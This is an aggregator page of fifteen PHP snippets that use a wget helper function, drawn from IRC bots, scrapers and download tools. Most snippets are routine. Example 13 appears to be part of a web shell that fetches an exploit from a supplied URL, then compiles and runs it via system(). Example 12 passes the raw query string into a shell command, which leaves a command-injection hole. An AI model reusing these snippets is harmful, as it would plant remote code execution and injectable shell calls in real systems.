本文整理汇总了PHP中wget函数的典型用法代码示例。如果您正苦于以下问题:PHP wget函数的具体用法?PHP wget怎么用?PHP wget使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了wget函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: make_static
function make_static($kuerzel = "")
{
$kuerzel = trim($kuerzel);
$data = $this->show_all4($kuerzel);
// unvollst. dokument
$fh = fopen("cache/_all_" . $kuerzel . ".html", "w");
fputs($fh, $data);
fclose($fh);
// dokument mit header dateien (wenn gegeben)
$sql = "SELECT head,foot FROM " . $this->_prefix . "press_sites WHERE kuerzel='{$kuerzel}'";
$res = $this->_SQL->select($sql);
//print_r($res);
if (!empty($res)) {
$head = wget($res[0]['head']);
$foot = wget($res[0]['foot']);
$fname = "cache/_cus_" . $kuerzel . ".html";
// schreibe doc mit headern
if (!is_writable($fname)) {
die("\nEs fehlen ihnen die Rechte, um {$fname} schreiben zu duerfen! \ndied.\n");
}
$fh = fopen("cache/_cus_" . $kuerzel . ".html", "w");
fputs($fh, $head . $data . $foot);
fclose($fh);
}
}
示例2: get_raw_title
function get_raw_title($redirect_data)
{
$rd_url = $redirect_data["url"];
$rd_cookies = $redirect_data["cookies"];
$rd_extra_headers = $redirect_data["extra_headers"];
$host = "";
$uri = "";
$port = 80;
if (get_host_and_uri($rd_url, $host, $uri, $port) == False) {
term_echo("get_host_and_uri=false");
return False;
}
$breakcode = "return ((strpos(strtolower(\$response),\"</title>\")!==False) or (strlen(\$response)>=10000));";
#$breakcode="";
$response = wget($host, $uri, $port, ICEWEASEL_UA, $rd_extra_headers, 20, $breakcode, 256);
#var_dump($response);
$html = strip_headers($response);
$title = extract_raw_tag($html, "title");
$title = html_decode($title);
$title = trim(html_decode($title));
if ($title == "") {
term_echo(" get_raw_title: title is empty");
return False;
}
return $title;
}
示例3: get_api_data
function get_api_data($uri)
{
$host = "bitbucket.org";
$port = 443;
$headers = "";
$response = wget($host, $uri, $port, ICEWEASEL_UA, $headers, 60);
$content = strip_headers($response);
return json_decode($content, True);
}
示例4: updates
function updates()
{
return;
// doesn't work
$homeurl = "http://ch-becker.de/software/unipress.html";
$latest = wget($homeurl);
$infos = wget($homeurl . $latest);
if (VERSION != $latest) {
return "Ihre Version von unipress ist veraltet." . "<pre>\nIhre Version: " . VERSION . "\nNeueste Version: " . $latest . "\nInformationen: " . $infos . "</pre>";
} else {
echo "Sie setzen die neueste Version ein.";
}
}
示例5: copyright_check_url
function copyright_check_url($html, $anchor_url)
{
$host = "";
$uri = "";
$port = "";
if (get_host_and_uri($anchor_url, $host, $uri, $port) == True) {
$response = wget($host, $uri, $port, ICEWEASEL_UA, "", 60);
$anchor_html = strip_headers($response);
#<crutchy> cull spaces and special chars, lowercase all, strip tags, css etc and compare
#<crutchy> have some kind of arbitrary string length (or maybe %) that causes trigger
}
return True;
}
示例6: chromas_log
function chromas_log($alias, $trailing, $dest)
{
$params = parse_parameters($trailing, "=", " ");
if ($params !== False) {
foreach ($params as $key => $value) {
if (strpos($key, " ") !== False) {
$params = False;
break;
}
}
}
if ($params === False) {
term_echo("chromas_log failed: invalid parameters");
return False;
}
# chromas, 23 march 2015
if (isset($params["until"]) == False) {
date_default_timezone_set("UTC");
$params["until"] = strftime("%F %T", time() - 5);
}
$paramstr = "";
foreach ($params as $key => $value) {
if ($paramstr != "") {
$paramstr = $paramstr . "&";
}
$paramstr = $paramstr . urlencode($key) . "=" . urlencode($value);
}
if (isset($params["channel"]) == False) {
$paramstr = $paramstr . "&channel=" . urlencode($dest);
}
if (isset($params["out"]) == False) {
$paramstr = $paramstr . "&out=irc-full";
}
if ($alias == "~log") {
$uri = "/s/soylent_log.php?" . $paramstr;
} else {
$uri = "/s/soylent_log.php?op=" . $alias . "&" . $paramstr;
}
if (get_bucket("chromas_irc_log_debug") == "on") {
pm("chromas", "http://chromas.0x.no" . $uri);
pm("crutchy", "http://chromas.0x.no" . $uri);
}
$response = wget("chromas.0x.no", $uri, 80, ICEWEASEL_UA, "", 10, "", 1024, False);
$html = trim(strip_headers($response));
if ($html == "") {
pm("#", "chromas_log failed: no response");
return False;
}
$lines = explode("\n", trim($html));
return $lines;
}
示例7: getExterns
function getExterns($externs)
{
$out = '';
foreach ($externs as $filename => $names) {
$url = 'https://raw.githubusercontent.com/google/closure-compiler/master/' . $filename;
// Concat multiline definitions
$file = preg_replace('#, *\\n#', ', ', wget($url));
// Remove the file header
$file = preg_replace('(/\\*\\*.*?@fileoverview.*?\\*/)s', '', $file);
preg_match_all('(/\\*\\*.*?\\*/\\s*(\\w[^\\n]+))s', $file, $m);
foreach ($names as $name) {
$len = strlen($name);
foreach ($m[1] as $k => $line) {
if (substr($line, 0, $len) === $name) {
$out .= $m[0][$k] . "\n";
continue 2;
}
}
echo "Could not find {$name}\n";
}
}
// Remove superfluous doc like comments and @see links
$out = preg_replace('#^ \\*(?!/| @(?!see)).*\\n#m', '', $out);
// Remove unnecessary annotations
$annotations = [" * @implements {EventTarget}\n"];
$out = str_replace($annotations, '', $out);
// Prepend some legalese to be on the safe side
$out = '/*
* Copyright 2008 The Closure Compiler Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// This file was auto-generated.
// See https://github.com/google/closure-compiler for the original source.
// See https://github.com/s9e/TextFormatter/blob/master/scripts/generateExterns.php for details.
' . $out;
return str_replace("\t", '', $out);
}
示例8: getEanCommonInfo
function getEanCommonInfo($ean)
{
$url = "http://shopping.daum.net/mini/barcodesearch.daum?barcode={$ean}";
$html = wget($url);
//$html = str_replace("<!doctype html>","", $html);
/*
echo "<xmp>";
echo $html;
echo "</xmp>";
*/
header("Content-type:text/html;charset=utf8");
$dom = new DOMDocument();
@$dom->loadHTML("<?xml encoding=\"UTF-8\"/>" . $html, LIBXML_NOWARNING);
$path = new DOMXpath($dom);
$xpProductName = $path->query("//*[@id=\"daumContent\"]/div[3]/div/div[1]/dl[1]/dd/strong");
$xpVendorName = $path->query("//*[@id=\"daumContent\"]/div[3]/div/div[1]/dl[2]/dd/strong");
$productname = $xpProductName->item(0)->nodeValue;
$vendorname = $xpVendorName->item(0)->nodeValue;
$productname = str_replace("...", "", $productname);
$o = (object) null;
$o->productname = $productname;
$o->vendor = $vendorname;
$xpList = $path->query('//*[@id="daumContent"]/div[3]/div/div[2]/ul/li/div[1]/a/img');
if ($xpList->length > 0) {
$img = $xpList->item(0)->getAttribute("src");
$match = preg_match('/fname=(.*)/', $img, $names);
$thumbnail = wgetSave($img, "/public/product/", $ean . '.jpg');
$fimg = urldecode($names[1]);
$match = preg_match('/p\\/([A-Z0-9]+).jpg/', $fimg, $codes);
$code = $codes[1];
$thumbnail_big = wgetSave($fimg, "/public/product", $ean . "_big.jpg");
$o->daum_prodcode = $code;
$o->thumbnail = $thumbnail;
$o->thumbnail_big = $thumbnail_big;
}
return $o;
}
示例9: hosterExec
function hosterExec($thisHoster, $packet, $packetDownloadDir, $file)
{
global $CONFIG;
$retval = '';
$url = $file->get('uri');
$filename = basename($url);
#printd("hoster.default.php hosterExec '$url'\n");
$file->save('size', wgetHeaderSize($url, $packet->get('httpUser'), $packet->get('httpPassword')));
$tmpfile = $packetDownloadDir . '/.' . $filename;
wget($url, $tmpfile, null, $packet->get('httpUser'), $packet->get('httpPassword'));
$error = 0;
if (file_exists($tmpfile)) {
$size = filesize($tmpfile);
$newfilePath = $packetDownloadDir . '/' . $filename;
rename($tmpfile, $newfilePath);
if (file_exists($newfilePath)) {
$retval = $newfilePath;
}
if ($error) {
$retval = (int) $error;
}
}
return $retval;
}
示例10: privmsg
$source_body=html_decode($source_body);
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# the following code posts a submission to SoylentNews
#return;
if ($nick<>"crutchy")
{
privmsg("exec's submit script is borken. blame crutchy");
return;
} */
$host = "soylentnews.org";
$port = 443;
$uri = "/submit.pl";
$response = wget($host, $uri, $port, ICEWEASEL_UA);
$html = strip_headers($response);
$reskey = extract_text($html, "<input type=\"hidden\" id=\"reskey\" name=\"reskey\" value=\"", "\">");
if ($reskey === False) {
privmsg("error: unable to extract reskey");
return;
}
sleep(25);
$params = array();
$params["reskey"] = $reskey;
#$params["name"]=trim(substr($nick,0,50));
$params["name"] = get_bot_nick();
$params["email"] = "";
$params["subj"] = trim(substr($source_title, 0, 100));
$params["primaryskid"] = "1";
$params["tid"] = "6";
示例11: wtouch
$response = wtouch($host, $uri, $port, 120);
$response_g = wtouch($host_g, $uri, $port, 120);
if ($response === False and $response_g !== False) {
pm("crutchy", "ALERT: \"" . strtoupper($host) . "\" HOST IS UNAVAILABLE ON PORT {$port}");
$account = users_get_account($verifier_nick);
if ($account == $verifier_account) {
pm($verifier_nick, $verifier_msg);
} else {
# DON'T TRUST EXEC TO ALERT ANYTHING ON IT'S OWN
#pm("#soylent",chr(3)."08".chr(2)."*** ALERT: \"".strtoupper($host)."\" HOST IS UNAVAILABLE ON PORT $port ***");
}
return;
}
$extra_headers = array();
$extra_headers["Cookie"] = sn_login();
$response = wget($host, $uri, $port, ICEWEASEL_UA, $extra_headers);
$delim1 = "<b>Progress So Far: \$";
$delim2 = "</b>";
$amount = extract_text($response, $delim1, $delim2);
if ($amount !== False) {
$data = exec_file_read("previous_sn_funding");
$previous = "";
if (count($data) > 0) {
$previous = trim($data[0]);
} else {
term_echo("funding: count(data) = 0");
}
if ($previous != $amount) {
pm("#soylent", chr(3) . "05" . "*** SN funding has changed from \${$previous} to \${$amount}");
exec_file_write("previous_sn_funding", array($amount));
} else {
示例12: set_time_limit
<?php
set_time_limit(120);
header("Content-Type:text/xml");
$r = file_get_contents(wget($_SERVER[QUERY_STRING], file_get_contents('php://input')));
file_put_contents('/tmp/x.xml', $r . "\n", FILE_APPEND);
echo $r;
function wget($u, $p)
{
$request = '/tmp/' . rand() . time() . '.post.xml';
$response = '/tmp/' . rand() . time() . '.xml';
file_put_contents($request, $p);
`wget --header "Content-Type:text/xml" --post-file={$request} '{$u}' -O {$response} > /dev/null 2>&1`;
return $response;
}
示例13: wget
<select name="run">
<option>c++ | .cpp</option>
<option>python | .py</option>
<option>perl | .pl</option>
<option>ruby | .rb</option>
</select>
<input type="hidden" name="action" value="exploit">
<input type="submit" value="Start">
</form>
</center>
<?php
}
if (isset($_GET['exp_url'])) {
echo '<center>';
if (function_exists("wget")) {
wget($_GET['exp_url']);
echo $_GET['exp_url'] . ' got in here';
if (function_exists("system")) {
if (isset($_GET['run'])) {
$run = $_GET['run'];
if ($run = 'c++ | .cpp') {
system("gcc -o exploit " . $_GET['exp_url'] . ";chmod +x exploit;./exploit;");
}
if ($run = 'perl | .pl') {
}
if ($run = 'python | .py') {
}
if ($run = 'ruby | .rb') {
}
}
} else {
示例14: wiki_unspamctl
function wiki_unspamctl($nick, $trailing)
{
$account = users_get_account($nick);
$allowed = array("crutchy", "chromas", "mrcoolbp", "paulej72", "juggs", "martyb");
if (in_array($account, $allowed) == False) {
privmsg(" error: not authorized");
return;
}
$title = trim(substr($trailing, strlen(".unspamctl")));
if ($title == "") {
privmsg(" syntax: .unspamctl <page title>");
return;
}
if (login($nick, True) == False) {
return;
}
$cookieprefix = get_bucket("wiki_login_cookieprefix");
$sessionid = get_bucket("wiki_login_sessionid");
if ($cookieprefix == "" or $sessionid == "") {
privmsg(" not logged in");
return;
}
$headers = array("Cookie" => login_cookie($cookieprefix, $sessionid));
$uri = "/w/api.php?action=query&format=php&meta=tokens&type=rollback";
$response = wget(WIKI_HOST, $uri, 80, WIKI_USER_AGENT, $headers);
$data = unserialize(strip_headers($response));
if (isset($data["query"]["tokens"]["rollbacktoken"]) == False) {
privmsg(" error getting rollbacktoken");
logout(True);
return;
}
$token = $data["query"]["tokens"]["rollbacktoken"];
/*$uri="/w/api.php?action=edit";
$params=array(
"format"=>"php",
"title"=>$title,
"text"=>$text,
"contentformat"=>"text/x-wiki",
"contentmodel"=>"wikitext",
"bot"=>"",
"token"=>$token);
$response=wpost(WIKI_HOST,$uri,80,WIKI_USER_AGENT,$params,$headers);
$data=unserialize(strip_headers($response));
if (isset($data["error"])==True)
{
privmsg(" error: ".$data["error"]["code"]);
}
else
{
$msg=$data["edit"]["result"];
if ($data["edit"]["result"]=="Success")
{
if ((isset($data["edit"]["oldrevid"])==True) and (isset($data["edit"]["newrevid"])==True))
{
$msg=$msg.", oldrevid=".$data["edit"]["oldrevid"].", newrevid=".$data["edit"]["newrevid"];
}
}
privmsg(" $msg");
$title=str_replace(" ","_",$title);
privmsg(" http://wiki.soylentnews.org/wiki/".urlencode($title));
}*/
logout(True);
}
示例15: wget
#####################################################################################################
require_once "lib.php";
$trailing = $argv[1];
$dest = $argv[2];
$nick = $argv[3];
$alias = $argv[4];
$cmd = $argv[5];
$agent = ICEWEASEL_UA;
$host = "www.just-one-liners.com";
$port = 80;
if (mt_rand(0, 4) == 0) {
$uri = "/";
} else {
$uri = "/category/confucius-say-wordplay";
}
$response = wget($host, $uri, $port, $agent);
$delim1 = "<h2 class=\"title\" id=\"post-";
$delim2 = "</h2>";
$text = extract_text($response, $delim1, $delim2);
if ($text === False) {
return;
}
$i = strpos($text, "<");
if ($i === False) {
return;
}
$text = substr($text, $i);
$text = replace_ctrl_chars($text, " ");
$text = trim(strip_tags($text));
$text = str_replace(" ", " ", $text);
$text = html_decode($text);